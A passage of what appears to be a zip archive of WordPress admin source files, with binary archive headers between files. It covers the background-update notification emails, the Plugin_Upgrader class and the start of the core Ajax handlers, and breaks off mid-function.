		 * We should avoid trying to perform a background update again for the same version.
		 * But we can try again if another version is released.
		 *
		 * For certain 'transient' failures, like download_failed, we should allow retries.
		 * In fact, let's schedule a special update for an hour from now. (It's possible
		 * the issue could actually be on WordPress.org's side.) If that one fails, then email.
		 */
		$send = true;
  		$transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro', 'locked' );
  		if ( in_array( $error_code, $transient_failures ) && ! get_site_option( 'auto_core_update_failed' ) ) {
  			wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' );
  			$send = false;
  		}

$n = get_site_option( 'auto_core_update_notified' );
		// Don't notify if we've already notified the same email address of the same version of the same notification type.
		if ( $n && 'fail' == $n['type'] && $n['email'] == get_site_option( 'admin_email' ) && $n['version'] == $core_update->current )
			$send = false;

update_site_option( 'auto_core_update_failed', array(
			'attempted'  => $core_update->current,
			'current'    => $wp_version,
			'error_code' => $error_code,
			'error_data' => $result->get_error_data(),
			'timestamp'  => time(),
			'retry'      => in_array( $error_code, $transient_failures ),
		) );

if ( $send )
			$this->send_email( 'fail', $core_update, $result );
	}

/**
	 * Sends an email upon the completion or failure of a background core update.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
	 * @param object $core_update The update offer that was attempted.
	 * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
	 */
	protected function send_email( $type, $core_update, $result = null ) {
		update_site_option( 'auto_core_update_notified', array(
			'type'      => $type,
			'email'     => get_site_option( 'admin_email' ),
			'version'   => $core_update->current,
			'timestamp' => time(),
		) );

$next_user_core_update = get_preferred_from_update_core();
		// If the update transient is empty, use the update we just performed
		if ( ! $next_user_core_update )
			$next_user_core_update = $core_update;
		$newer_version_available = ( 'upgrade' == $next_user_core_update->response && version_compare( $next_user_core_update->version, $core_update->version, '>' ) );

/**
		 * Filters whether to send an email following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $send        Whether to send the email. Default true.
		 * @param string $type        The type of email to send. Can be one of
		 *                            'success', 'fail', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) )
			return;

switch ( $type ) {
			case 'success' : // We updated.
				/* translators: 1: Site name, 2: WordPress version number. */
				$subject = __( '[%1$s] Your site has updated to WordPress %2$s' );
				break;

case 'fail' :   // We tried to update but couldn't.
			case 'manual' : // We can't update (and made no attempt).
				/* translators: 1: Site name, 2: WordPress version number. */
				$subject = __( '[%1$s] WordPress %2$s is available. Please update!' );
				break;

case 'critical' : // We tried to update, started to copy files, then things went wrong.
				/* translators: 1: Site name. */
				$subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' );
				break;

default :
				return;
		}

// If the auto update is not to the latest version, say that the current version of WP is available instead.
		$version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version );

$body = '';

switch ( $type ) {
			case 'success' :
				$body .= sprintf( __( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ), home_url(), $core_update->current );
				$body .= "\n\n";
				if ( ! $newer_version_available )
					$body .= __( 'No further action is needed on your part.' ) . ' ';

// Can only reference the About screen if their update was successful.
				list( $about_version ) = explode( '-', $core_update->current, 2 );
				$body .= sprintf( __( "For more on version %s, see the About WordPress screen:" ), $about_version );
				$body .= "\n" . admin_url( 'about.php' );

if ( $newer_version_available ) {
					$body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' ';
					$body .= __( 'Updating is easy and only takes a few moments:' );
					$body .= "\n" . network_admin_url( 'update-core.php' );
				}

break;

case 'fail' :
			case 'manual' :
				$body .= sprintf( __( 'Please update your site at %1$s to WordPress %2$s.' ), home_url(), $next_user_core_update->current );

$body .= "\n\n";

// Don't show this message if there is a newer version available.
				// Potential for confusion, and also not useful for them to know at this point.
				if ( 'fail' == $type && ! $newer_version_available )
					$body .= __( 'We tried but were unable to update your site automatically.' ) . ' ';

$body .= __( 'Updating is easy and only takes a few moments:' );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;

case 'critical' :
				if ( $newer_version_available )
					$body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ), home_url(), $core_update->current );
				else
					$body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ), home_url(), $core_update->current );

$body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." );

$body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;
		}

$critical_support = 'critical' === $type && ! empty( $core_update->support_email );
		if ( $critical_support ) {
			// Support offer if available.
			$body .= "\n\n" . sprintf( __( "The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working." ), $core_update->support_email );
		} else {
			// Add a note about the support forums.
			$body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
			$body .= "\n" . __( 'https://wordpress.org/support/' );
		}

// Updates are important!
		if ( $type != 'success' || $newer_version_available ) {
			$body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' );
		}

if ( $critical_support ) {
			$body .= " " . __( "If you reach out to us, we'll also ensure you'll never have this problem again." );
		}

// If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
		if ( $type == 'success' && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) {
			$body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' );
			$body .= "\n" . network_admin_url();
		}

$body .= "\n\n" . __( 'The WordPress Team' ) . "\n";

if ( 'critical' == $type && is_wp_error( $result ) ) {
			$body .= "\n***\n\n";
			$body .= sprintf( __( 'Your site was running version %s.' ), get_bloginfo( 'version' ) );
			$body .= ' ' . __( 'We have some data that describes the error your site encountered.' );
			$body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' );

// If we had a rollback and we're still critical, then the rollback failed too.
			// Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
			if ( 'rollback_was_required' == $result->get_error_code() )
				$errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback );
			else
				$errors = array( $result );

foreach ( $errors as $error ) {
				if ( ! is_wp_error( $error ) )
					continue;
				$error_code = $error->get_error_code();
				$body .= "\n\n" . sprintf( __( "Error code: %s" ), $error_code );
				if ( 'rollback_was_required' == $error_code )
					continue;
				if ( $error->get_error_message() )
					$body .= "\n" . $error->get_error_message();
				$error_data = $error->get_error_data();
				if ( $error_data )
					$body .= "\n" . implode( ', ', (array) $error_data );
			}
			$body .= "\n";
		}

$to  = get_site_option( 'admin_email' );
		$headers = '';

$email = compact( 'to', 'subject', 'body', 'headers' );

/**
		 * Filters the email sent following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                            can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type        The type of email being sent. Can be one of
		 *                            'success', 'fail', 'manual', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		$email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result );

wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}

/**
	 * Prepares and sends an email of a full log of background update results, useful for debugging and geekery.
	 *
	 * @since 3.7.0
	 */
	protected function send_debug_email() {
		$update_count = 0;
		foreach ( $this->update_results as $type => $updates )
			$update_count += count( $updates );

$body = array();
		$failures = 0;

$body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) );

// Core
		if ( isset( $this->update_results['core'] ) ) {
			$result = $this->update_results['core'][0];
			if ( $result->result && ! is_wp_error( $result->result ) ) {
				$body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name );
			} else {
				$body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name );
				$failures++;
			}
			$body[] = '';
		}

// Plugins, Themes, Translations
		foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) )
				continue;
			$success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) );
			if ( $success_items ) {
				$messages = array(
					'plugin'      => __( 'The following plugins were successfully updated:' ),
					'theme'       => __( 'The following themes were successfully updated:' ),
					'translation' => __( 'The following translations were successfully updated:' ),
				);

$body[] = $messages[ $type ];
				foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) {
					$body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name );
				}
			}
			if ( $success_items != $this->update_results[ $type ] ) {
				// Failed updates
				$messages = array(
					'plugin'      => __( 'The following plugins failed to update:' ),
					'theme'       => __( 'The following themes failed to update:' ),
					'translation' => __( 'The following translations failed to update:' ),
				);

$body[] = $messages[ $type ];
				foreach ( $this->update_results[ $type ] as $item ) {
					if ( ! $item->result || is_wp_error( $item->result ) ) {
						$body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name );
						$failures++;
					}
				}
			}
			$body[] = '';
		}

$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
		if ( $failures ) {
			$body[] = trim( __(
"BETA TESTING?
=============

This debugging email is sent when you are using a development version of WordPress.

If you think these failures might be due to a bug in WordPress, could you report it?
 * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta
 * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/

Thanks! -- The WordPress Team" ) );
			$body[] = '';

$subject = sprintf( __( '[%s] There were failures during background updates' ), $site_title );
		} else {
			$subject = sprintf( __( '[%s] Background updates have finished' ), $site_title );
		}

$body[] = trim( __(
'UPDATE LOG
==========' ) );
		$body[] = '';

foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) )
				continue;
			foreach ( $this->update_results[ $type ] as $update ) {
				$body[] = $update->name;
				$body[] = str_repeat( '-', strlen( $update->name ) );
				foreach ( $update->messages as $message )
					$body[] = "  " . html_entity_decode( str_replace( '&#8230;', '...', $message ) );
				if ( is_wp_error( $update->result ) ) {
					$results = array( 'update' => $update->result );
					// If we rolled back, we want to know an error that occurred then too.
					if ( 'rollback_was_required' === $update->result->get_error_code() )
						$results = (array) $update->result->get_error_data();
					foreach ( $results as $result_type => $result ) {
						if ( ! is_wp_error( $result ) )
							continue;

if ( 'rollback' === $result_type ) {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						} else {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						}

if ( $result->get_error_data() )
							$body[] = '         ' . implode( ', ', (array) $result->get_error_data() );
					}
				}
				$body[] = '';
			}
		}

$email = array(
			'to'      => get_site_option( 'admin_email' ),
			'subject' => $subject,
			'body'    => implode( "\n", $body ),
			'headers' => ''
		);

/**
		 * Filters the debug email that can be sent following an automatic
		 * background core update.
		 *
		 * @since 3.8.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject Email subject.
		 *     @type string $body    Email message body.
		 *     @type string $headers Any email headers. Default empty.
		 * }
		 * @param int   $failures The number of failures encountered while upgrading.
		 * @param mixed $results  The results of all attempted updates.
		 */
		$email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results );

wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}
}
PK�������!���-G9��G9��"��includes/class-plugin-upgrader.phpnu��[�����������<?php
/**
 * Upgrade API: Plugin_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for upgrading/installing plugins.
 *
 * It is designed to upgrade/install plugins from a local zip, remote zip URL,
 * or uploaded zip file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Plugin_Upgrader extends WP_Upgrader {

/**
	 * Plugin upgrade result.
	 *
	 * @since 2.8.0
	 * @var array|WP_Error $result
	 *
	 * @see WP_Upgrader::$result
	 */
	public $result;

/**
	 * Whether a bulk upgrade/installation is being performed.
	 *
	 * @since 2.9.0
	 * @var bool $bulk
	 */
	public $bulk = false;

/**
	 * Initialize the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __('The plugin is at the latest version.');
		$this->strings['no_package'] = __('Update package not available.');
		/* translators: %s: package URL */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code">%s</span>' );
		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
		$this->strings['remove_old'] = __('Removing the old version of the plugin&#8230;');
		$this->strings['remove_old_failed'] = __('Could not remove the old plugin.');
		$this->strings['process_failed'] = __('Plugin update failed.');
		$this->strings['process_success'] = __('Plugin updated successfully.');
		$this->strings['process_bulk_success'] = __('Plugins updated successfully.');
	}

/**
	 * Install a plugin package.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param string $package The full local path or URI of the package.
	 * @param array  $args {
	 *     Optional. Other arguments for installing a plugin package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise.
	 */
	public function install( $package, $args = array() ) {

$defaults = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->install_strings();

add_filter('upgrader_source_selection', array($this, 'check_package') );
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_plugins() knows about the new plugin.
			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
		}

$this->run( array(
			'package' => $package,
			'destination' => WP_PLUGIN_DIR,
			'clear_destination' => false, // Do not overwrite files.
			'clear_working' => true,
			'hook_extra' => array(
				'type' => 'plugin',
				'action' => 'install',
			)
		) );

remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
		remove_filter('upgrader_source_selection', array($this, 'check_package') );

if ( ! $this->result || is_wp_error($this->result) )
			return $this->result;

// Force refresh of plugin update information
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

return true;
	}

/**
	 * Upgrade a plugin.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param string $plugin The basename path to the main plugin file.
	 * @param array  $args {
	 *     Optional. Other arguments for upgrading a plugin package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
	 */
	public function upgrade( $plugin, $args = array() ) {

$defaults = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->upgrade_strings();

$current = get_site_transient( 'update_plugins' );
		if ( !isset( $current->response[ $plugin ] ) ) {
			$this->skin->before();
			$this->skin->set_result(false);
			$this->skin->error('up_to_date');
			$this->skin->after();
			return false;
		}

// Get the URL to the zip file
		$r = $current->response[ $plugin ];

add_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'), 10, 2);
		add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4);
		//'source_selection' => array($this, 'source_selection'), //there's a trac ticket to move up the directory for zip's which are made a bit differently, useful for non-.org plugins.
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_plugins() knows about the new plugin.
			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
		}

$this->run( array(
			'package' => $r->package,
			'destination' => WP_PLUGIN_DIR,
			'clear_destination' => true,
			'clear_working' => true,
			'hook_extra' => array(
				'plugin' => $plugin,
				'type' => 'plugin',
				'action' => 'update',
			),
		) );

// Cleanup our hooks, in case something else does a upgrade on this connection.
		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
		remove_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'));
		remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'));

if ( ! $this->result || is_wp_error($this->result) )
			return $this->result;

// Force refresh of plugin update information
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

return true;
	}

/**
	 * Bulk upgrade several plugins at once.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param array $plugins Array of the basename paths of the plugins' main files.
	 * @param array $args {
	 *     Optional. Other arguments for upgrading several plugins at once. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem.
	 */
	public function bulk_upgrade( $plugins, $args = array() ) {

$defaults = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->bulk = true;
		$this->upgrade_strings();

$current = get_site_transient( 'update_plugins' );

add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4);

$this->skin->header();

// Connect to the Filesystem first.
		$res = $this->fs_connect( array(WP_CONTENT_DIR, WP_PLUGIN_DIR) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

$this->skin->bulk_header();

/*
		 * Only start maintenance mode if:
		 * - running Multisite and there are one or more plugins specified, OR
		 * - a plugin with an update available is currently active.
		 * @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
		 */
		$maintenance = ( is_multisite() && ! empty( $plugins ) );
		foreach ( $plugins as $plugin )
			$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) );
		if ( $maintenance )
			$this->maintenance_mode(true);

$results = array();

$this->update_count = count($plugins);
		$this->update_current = 0;
		foreach ( $plugins as $plugin ) {
			$this->update_current++;
			$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true);

if ( !isset( $current->response[ $plugin ] ) ) {
				$this->skin->set_result('up_to_date');
				$this->skin->before();
				$this->skin->feedback('up_to_date');
				$this->skin->after();
				$results[$plugin] = true;
				continue;
			}

// Get the URL to the zip file.
			$r = $current->response[ $plugin ];

$this->skin->plugin_active = is_plugin_active($plugin);

$result = $this->run( array(
				'package' => $r->package,
				'destination' => WP_PLUGIN_DIR,
				'clear_destination' => true,
				'clear_working' => true,
				'is_multi' => true,
				'hook_extra' => array(
					'plugin' => $plugin
				)
			) );

$results[$plugin] = $this->result;

// Prevent credentials auth screen from displaying multiple times
			if ( false === $result )
				break;
		} //end foreach $plugins

$this->maintenance_mode(false);

// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action( 'upgrader_process_complete', $this, array(
			'action' => 'update',
			'type' => 'plugin',
			'bulk' => true,
			'plugins' => $plugins,
		) );

$this->skin->bulk_footer();

$this->skin->footer();

// Cleanup our hooks, in case something else does a upgrade on this connection.
		remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'));

return $results;
	}

/**
	 * Check a source package to be sure it contains a plugin.
	 *
	 * This function is added to the {@see 'upgrader_source_selection'} filter by
	 * Plugin_Upgrader::install().
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem Subclass
	 *
	 * @param string $source The path to the downloaded package source.
	 * @return string|WP_Error The source as passed, or a WP_Error object
	 *                         if no plugins were found.
	 */
	public function check_package($source) {
		global $wp_filesystem;

if ( is_wp_error($source) )
			return $source;

$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source);
		if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, let's not prevent installation.
			return $source;

// Check the folder contains at least 1 valid plugin.
		$plugins_found = false;
		$files = glob( $working_directory . '*.php' );
		if ( $files ) {
			foreach ( $files as $file ) {
				$info = get_plugin_data( $file, false, false );
				if ( ! empty( $info['Name'] ) ) {
					$plugins_found = true;
					break;
				}
			}
		}

if ( ! $plugins_found )
			return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );

return $source;
	}

/**
	 * Retrieve the path to the file that contains the plugin info.
	 *
	 * This isn't used internally in the class, but is called by the skins.
	 *
	 * @since 2.8.0
	 *
	 * @return string|false The full path to the main plugin file, or false.
	 */
	public function plugin_info() {
		if ( ! is_array($this->result) )
			return false;
		if ( empty($this->result['destination_name']) )
			return false;

$plugin = get_plugins('/' . $this->result['destination_name']); //Ensure to pass with leading slash
		if ( empty($plugin) )
			return false;

$pluginfiles = array_keys($plugin); //Assume the requested plugin is the first in the list

return $this->result['destination_name'] . '/' . $pluginfiles[0];
	}

/**
	 * Deactivates a plugin before it is upgraded.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 2.8.0
	 * @since 4.1.0 Added a return value.
	 *
	 * @param bool|WP_Error  $return Upgrade offer return.
	 * @param array          $plugin Plugin package arguments.
	 * @return bool|WP_Error The passed in $return param or WP_Error.
	 */
	public function deactivate_plugin_before_upgrade($return, $plugin) {

if ( is_wp_error($return) ) //Bypass.
			return $return;

// When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it
		if ( wp_doing_cron() )
			return $return;

$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
		if ( empty($plugin) )
			return new WP_Error('bad_request', $this->strings['bad_request']);

if ( is_plugin_active($plugin) ) {
			//Deactivate the plugin silently, Prevent deactivation hooks from running.
			deactivate_plugins($plugin, true);
		}

return $return;
	}

/**
	 * Delete the old plugin during an upgrade.
	 *
	 * Hooked to the {@see 'upgrader_clear_destination'} filter by
	 * Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem Subclass
     *
	 * @param bool|WP_Error $removed
	 * @param string        $local_destination
	 * @param string        $remote_destination
	 * @param array         $plugin
	 * @return WP_Error|bool
	 */
	public function delete_old_plugin($removed, $local_destination, $remote_destination, $plugin) {
		global $wp_filesystem;

if ( is_wp_error($removed) )
			return $removed; //Pass errors through.

$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
		if ( empty($plugin) )
			return new WP_Error('bad_request', $this->strings['bad_request']);

$plugins_dir = $wp_filesystem->wp_plugins_dir();
		$this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin) );

if ( ! $wp_filesystem->exists($this_plugin_dir) ) //If it's already vanished.
			return $removed;

// If plugin is in its own directory, recursively delete the directory.
		if ( strpos($plugin, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory separator AND that it's not the root plugin folder
			$deleted = $wp_filesystem->delete($this_plugin_dir, true);
		else
			$deleted = $wp_filesystem->delete($plugins_dir . $plugin);

if ( ! $deleted )
			return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']);

return true;
	}
}
PK�������!��auQ������includes/ajax-actions.phpnu��[�����������<?php
/**
 * Administration API: Core Ajax handlers
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.1.0
 */

//
// No-privilege Ajax handlers.
//

/**
 * Ajax handler for the Heartbeat API in
 * the no-privilege context.
 *
 * Runs when the user is not logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_nopriv_heartbeat() {
	$response = array();

// screen_id is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty($_POST['screen_id']) )
		$screen_id = sanitize_key($_POST['screen_id']);
	else
		$screen_id = 'front';

if ( ! empty($_POST['data']) ) {
		$data = wp_unslash( (array) $_POST['data'] );

/**
		 * Filters Heartbeat Ajax response in no-privilege environments.
		 *
		 * @since 3.6.0
		 *
		 * @param array|object $response  The no-priv Heartbeat response object or array.
		 * @param array        $data      An array of data passed via $_POST.
		 * @param string       $screen_id The screen id.
		 */
		$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
	}

/**
	 * Filters Heartbeat Ajax response when no data is passed.
	 *
	 * @since 3.6.0
	 *
	 * @param array|object $response  The Heartbeat response object or array.
	 * @param string       $screen_id The screen id.
	 */
	$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );

/**
	 * Fires when Heartbeat ticks in no-privilege environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array|object $response  The no-priv Heartbeat response.
	 * @param string       $screen_id The screen id.
	 */
	do_action( 'heartbeat_nopriv_tick', $response, $screen_id );

// Send the current time according to the server.
	$response['server_time'] = time();

wp_send_json($response);
}

//
// GET-based Ajax handlers.
//

/**
 * Ajax handler for fetching a list table.
 *
 * @since 3.1.0
 */
function wp_ajax_fetch_list() {
	$list_class = $_GET['list_args']['class'];
	check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );

$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
	if ( ! $wp_list_table ) {
		wp_die( 0 );
	}

if ( ! $wp_list_table->ajax_user_can() ) {
		wp_die( -1 );
	}

$wp_list_table->ajax_response();

wp_die( 0 );
}

/**
 * Ajax handler for tag search.
 *
 * @since 3.1.0
 */
function wp_ajax_ajax_tag_search() {
	if ( ! isset( $_GET['tax'] ) ) {
		wp_die( 0 );
	}

$taxonomy = sanitize_key( $_GET['tax'] );
	$tax = get_taxonomy( $taxonomy );
	if ( ! $tax ) {
		wp_die( 0 );
	}

if ( ! current_user_can( $tax->cap->assign_terms ) ) {
		wp_die( -1 );
	}

$s = wp_unslash( $_GET['q'] );

$comma = _x( ',', 'tag delimiter' );
	if ( ',' !== $comma )
		$s = str_replace( $comma, ',', $s );
	if ( false !== strpos( $s, ',' ) ) {
		$s = explode( ',', $s );
		$s = $s[count( $s ) - 1];
	}
	$s = trim( $s );

/**
	 * Filters the minimum number of characters required to fire a tag search via Ajax.
	 *
	 * @since 4.0.0
	 *
	 * @param int         $characters The minimum number of characters required. Default 2.
	 * @param WP_Taxonomy $tax        The taxonomy object.
	 * @param string      $s          The search term.
	 */
	$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $tax, $s );

/*
	 * Require $term_search_min_chars chars for matching (default: 2)
	 * ensure it's a non-negative, non-zero integer.
	 */
	if ( ( $term_search_min_chars == 0 ) || ( strlen( $s ) < $term_search_min_chars ) ){
		wp_die();
	}

$results = get_terms( $taxonomy, array( 'name__like' => $s, 'fields' => 'names', 'hide_empty' => false ) );

echo join( $results, "\n" );
	wp_die();
}

/**
 * Ajax handler for compression testing.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_compression_test() {
	if ( !current_user_can( 'manage_options' ) )
		wp_die( -1 );

if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) {
		update_site_option('can_compress_scripts', 0);
		wp_die( 0 );
	}

if ( isset($_GET['test']) ) {
		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
		header('Content-Type: application/javascript; charset=UTF-8');
		$force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP );
		$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';

if ( 1 == $_GET['test'] ) {
		 	echo $test_str;
		 	wp_die();
		 } elseif ( 2 == $_GET['test'] ) {
			if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) )
				wp_die( -1 );
			if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
				header('Content-Encoding: deflate');
				$out = gzdeflate( $test_str, 1 );
